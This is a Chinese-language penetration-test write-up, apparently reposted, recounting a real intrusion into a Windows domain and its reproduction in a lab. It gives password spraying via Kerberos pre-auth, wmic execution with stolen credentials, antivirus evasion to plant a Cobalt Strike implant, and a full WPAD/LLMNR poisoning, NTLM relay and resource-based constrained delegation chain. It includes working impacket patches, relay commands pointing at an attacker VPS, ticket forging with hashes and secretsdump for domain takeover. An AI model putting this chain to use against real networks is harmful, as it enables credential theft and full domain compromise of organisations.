滲透小記 - 中繼和委派的實戰利用


0x00 前言

本文源自一次真實的滲透過程記錄,介紹基於資源的約束委派的另一種利用場景,希望能對各位看客有所幫助

0x01 背景

通過 VPN 撥入內網,根據下發路由和前期的探測發現目標內網存在 10.10.1.0/24 、10.10.2.0/24 兩個活躍段。10.10.1.88 為域控制器。

0x02

根據前期的信息收集,活躍段中並沒有什么可以直接利用的點,整理手上的已有信息。目標內網的機器主機名均為 ATTACK-TONY-PC ,猜測中間的字符串為用戶名,使用 Kerberos pre-auth 的特性驗證了我們的猜測,並收集所有主機名和 VPN 密碼做組合成功枚舉出了一組口令。具體用到的工具參考
滲透技巧——通過Kerberos pre-auth進行用戶枚舉和口令爆破

0x03

根據以往的經驗,這種以用戶名為主機名的域,大概率會把域用戶添加到本地管理員組,找到用戶對應的機器,直接 wmic 試一下

wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx os get name

果然正確的返回的操作系統信息。繼續通過 wmic 獲取機器上的進程,

wmic /node:10.10.1.96 /user:ATTACK\TONY /password:1qaz2wsx process get name

根據機器上的防護軟件進行相應的免殺,落地二進制文件,上線到 CS。到此,我們獲取到了域內的一個落腳點。不幸的是,這台機器的主人貌似這是個邊緣人員,翻遍機器也沒有找到對我們用幫助的信息。本機的 500 用戶為空密碼。查看 LDAP 中的信息,幾乎整個域內機器均為 win10,有少量幾台 server 2016,當前我們處在 10.10.1.96,域管的位置在 10.10.2.66。繼續查看 LDAP 中的信息,其中有一個我們比較關注的點:大多數機器 mS-DS-CreatorSID 都是對應用戶的 SID,少部分機器的為 mS-DS-CreatorSID 同一用戶的 SID (網絡管理員)。也就是說域內機器基本都是是用戶自己拉入域的,域用戶對他拉入的機器用戶有 WriteProperty 權限,可以操作機器用戶的
msDS-AllowedToActOnBehalfOfOtherIdentity 屬性。如果我們有了用戶的權限,就滿足了2個利用基於資源的約束委派的條件

能夠修改 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性

有一個機器賬戶(這里說法其實不太准確,應該是需要一個具有SPN的賬戶,更詳細的說是需要一個賬戶的TGT就可以,機器賬戶滿足以上條件)

機器賬戶我們可以使用之前獲取到的機器 ATTACK-TONY-PC$,那用戶權限又該從哪里獲取呢?

0x04 WPAD + NTLM 中繼 + 基於資源的約束委派

在開始前讓我們對涉及到的知識點做一個簡單的說明。(這里只是簡單的提一下,想要完全搞明白還需要自行深入學習各個知識點)

  • WPAD

    WPAD(Web Proxy Auto-Discovery Protocol)Web 代理自動發現協議的簡稱,該協議的功能是可以使局域網中用戶的瀏覽器可以自動發現內網中的代理服務器,並使用已發現的代理服務器連接互聯網或者企業內網。當系統開啟了代理自動發現功能后,用戶使用瀏覽器上網時,瀏覽器就會在當前局域網中自動查找代理服務器,如果找到了代理服務器,則會從代理服務器中下載一個名為 PAC(Proxy Auto-Config) 的配置文件。該文件中定義了用戶在訪問一個 URL 時所應該使用的代理服務器。瀏覽器會下載並解析該文件,並將相應的代理服務器設置到用戶的瀏覽器中。在請求 WPAD的過程中,如果服務端要求 401 認證,部分瀏覽器和應用將會自動用當前用戶憑證進行認證。

  • LLMNR,NBT-NS

    LLMNR 和 NBT-NS 均為名稱解析機制中用到的協議,在windows名稱解析過程中,大致的順序為 DNS -> LLMNR -> NetBIOS。簡單的說 DNS 協議解析不到的地址,windows則會在當前網段域子網域發送廣播(LLMNR,NetBIOS)來請求地址解析,如果我們和目標機器在同一子網域則可以回復廣播,欺騙地址解析。

  • NTLM Ralay

    NTLM Relay

  • 基於資源的約束委派

    Windows Server 2012中引入了基於資源的約束委派。基於資源的約束委派允許資源配置受信任的帳戶委派給他們。基於資源的約束委派將委派的控制權交給擁有被訪問資源的管理員。

    域滲透——基於資源的約束委派利用

明白了上面這些知識后,我們就可以開始進行攻擊了,攻擊流程為:在當前網段進行投毒,通過 WPAD 欺騙,讓用戶來向我們進行 NTLM 認證,再將認證請求中繼到 LDAP,因為用戶可以修改他拉入的機器的 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性,我們對該屬性進行修以配置基於資源的約束委派,來拿到其主機的權限。

0x05 修改 impacket

impacket 目前只看到有從機器用戶中繼修改基於資源的約束委派的功能,對於我們這個攻擊流程,需要稍微修改一下。為了方便某些同學調試,我把修改過程放在這里,不想看可以直接跳過,文末有修改打包好的 impacket。

/impacket/examples/ntlmrelayx.py

添加 options.user_delegate_access

c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.sid, options.user_delegate_access)

在參數處理的地方 添加

ldapoptions.add_argument('--user-delegate-access', action='store_true', required=False, help='Delegate access on relayed user account to the specified account')

/impacket/impacket/examples/ntlmrelayx/utils/config.py 中

修改函數 setLDAPOptions ,添加 userdelegateaccess

  def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, sid, userdelegateaccess):
        self.dumpdomain = dumpdomain
        self.addda = addda
        self.aclattack = aclattack
        self.validateprivs = validateprivs
        self.escalateuser = escalateuser
        self.addcomputer = addcomputer
        self.delegateaccess = delegateaccess
        self.dumplaps = dumplaps
        self.dumpgmsa = dumpgmsa
        self.sid = sid
        self.userdelegateaccess = userdelegateaccess

/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py

添加全局變量 delegatePerformedUser

class LDAPAttack(ProtocolAttack): 中 添加如下代碼

   def MFdelegateAttack(self, usersam, targetsam, domainDumper, sid, ssid):
        global delegatePerformedUser

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
            self.config.escalateuser = usersam
            
        if not sid:
            # Get escalate user sid
            result = self.getUserInfo(domainDumper, usersam)
            if not result:
                LOG.error('User to escalate does not exist!')
                return
            escalate_sid = str(result[1]) # sid 
        else:
            escalate_sid = usersam
        
        AttackList = self.getCreatorSID(domainDumper, ssid);
        # LOG.debug(AttackList)
        # LOG.debug(escalate_sid)
        if AttackList is False:
            LOG.info('Cannot find a computer with mS-DS-CreatorSID %s' % ssid)
            return
        
        LOG.info("Try to modifiy delegation rights")

        for Attack in AttackList:
            self.addDelegation(Attack[0], escalate_sid)

        delegatePerformedUser.append(targetsam)
    
    def addDelegation(self,target_dn,escalate_sid):
        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity','name'])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return False
        
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            sd = create_empty_sd()

        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy', self.config.escalateuser, targetuser['attributes']['name'])
            return True
        else:
            if self.client.result['result'] == 50:
                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s', self.client.result['message'])
        return False

    def userdelegateAttack(self, usersam, targetsam, domainDumper, sid):
        global delegatePerformedUser
        if targetsam in delegatePerformedUser:
            LOG.info('Delegate attack already performed for this User: %s, skipping' % targetsam)
            return

        self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(targetsam), attributes=['objectSid', 'primaryGroupId'])
        
        user = self.client.entries[0]
        usersid = user['objectSid'].value
        
        tmp_flag = self.getCreatorSID(domainDumper, usersid)
        LOG.info('Try to find the computer with mS-DS-CreatorSID %s' % usersid)
        if tmp_flag is not False:
            for x in tmp_flag:
                LOG.info('DN : %s SID : %s' % (x[0], x[1]))
        
        self.MFdelegateAttack(usersam, targetsam, domainDumper, sid, usersid)

run 函數中添加如下代碼

    if self.config.userdelegateaccess:
        self.userdelegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
        return

重新安裝 impacket

pip3 uninstall impacket;pip3 install .

用法

sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access
sudo python3 ./examples/ntlmrelayx.py -t ldaps://192.168.1.63 --user-delegate-access

0x06 完成攻擊鏈

為了避免不必要的意外,用本地測試環境來代替

name note
Administer 域管理員
rabbit 普通域用戶
test 普通域用戶
name os ip note
DC server2016 192.168.1.63 域控制器
WIN10 windows10 192.168.1.59 個人PC,模擬我們在域內拿下的那台機器
WIN10-1 windows10 192.168.1.78 個人PC,由用戶 ATTACT\TEST 拉入域,登錄用戶 ATTACT\TEST
WIN10-2 windows10 192.168.1.77 個人PC,由用戶 ATTACT\TEST 拉入域,登錄用戶 ATTACT\TEST
kali kali 192.168.1.79 模擬外網 vps

首先我們在 WIN10 這台機器上開啟 Inveigh 來進行 LLMNR/NBNS 協議欺騙,這里我們只需要投毒的功能,所以只用 C# 版本的 Inveigh 就可以了,還可以配合 csexecute-assembly 來執行以規避殺軟。欺騙的地址指向外網的 vps,也就是當前環境中的 kali

execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIP 192.168.1.79

kali 開啟 ntlmrelay.py 進行監聽,指定相關攻擊的參數

sudo python3 ./examples/ntlmrelayx.py -t ldap://192.168.1.63 --escalate-user=WIN10\$ --user-delegate-access -debug

這里以 chrome 為例,當用戶 ATTACK\TEST 點擊 chrome 時,則會觸發我們的攻擊鏈,接管機器權限。

a03bb9d7f80559c87765c72cb3d53d1d.png

可以看到,我們以成功配置了 WIN10$WIN10-1WIN10-2 的基於資源的約束委派。接下來就可以申請高權的票據來訪問對應的服務了。

python3 getST.py -dc-ip 192.168.1.63 ATTACK/WIN10\$ -hashes aad3b435b51404eeaad3b435b51404ee:0c5082ca74c579d34d4de279a84ee44f -spn host/WIN10-2.attack.com -impersonate administrator

注入票據到當前上下文,並嘗試訪問,如圖所示,成功獲取到機器 WIN10-2 的權限。


具體什么服務需要使用什么票據,參考這里 How Attackers Use Kerberos Silver Tickets to Exploit Systems

Service Type Service Silver Tickets
WMI HOST,RPCSS
PowerShell Remoting HOST,HTTP(WSMAN,RPCSS)
WinRM HOST,HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS,LDAP,CIFS

舉個例子:


以上就是整個攻擊鏈。回到實戰中,實戰中,我通過如上攻擊鏈定向(Inveigh 指定 SpooferIPsReply 參數對特定ip進行欺騙)的拿到了幾個開發權限,並從其中一台機器上獲取了一台 10.10.2.0/24 段上的機器權限,這樣我們就移動到與域管同一網段下,那我們可以繼續中繼域管的憑證到 LDAP 去修改添加特權到任意用戶。Inveigh 指定 域管的ip。開啟 ntlmrelay 監聽,指定攻擊 ldap 並且指定用戶。

execute-assembly c:\windows\rabbit\tools\Inveigh.exe -SpooferIPsReply 10.10.2.66  -SpooferIP VPS-IP
proxychains python3 ./examples/ntlmrelayx.py -t ldap://192.168.98.10 --escalate-user=rabbit

兩分鍾以后,域管請求了我們的 WPAD ,成功中繼到 ldap 並且賦予了我們指定用戶特權。(過程截圖仍由測試環境代替)

22c0a4aa0f654a8886582a43cbfdd15f.png

13321cc570d5217c5c6d3535e2fadd5d.png

接下來就是 secretsdump.py dump 域管 hash,接管域控了。至此,拿到整個域權限。

0x07 參考鏈接

微軟不認的“0day”之域內本地提權-爛番茄(Rotten Tomato)
這是一篇“不一樣”的真實滲透測試案例分析文章
How Attackers Use Kerberos Silver Tickets to Exploit Systems
windows-protocol
NTLM Relay
滲透技巧——通過Kerberos pre-auth進行用戶枚舉和口令爆破
WPAD 協議分析及內網滲透利用
域滲透——基於資源的約束委派利用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM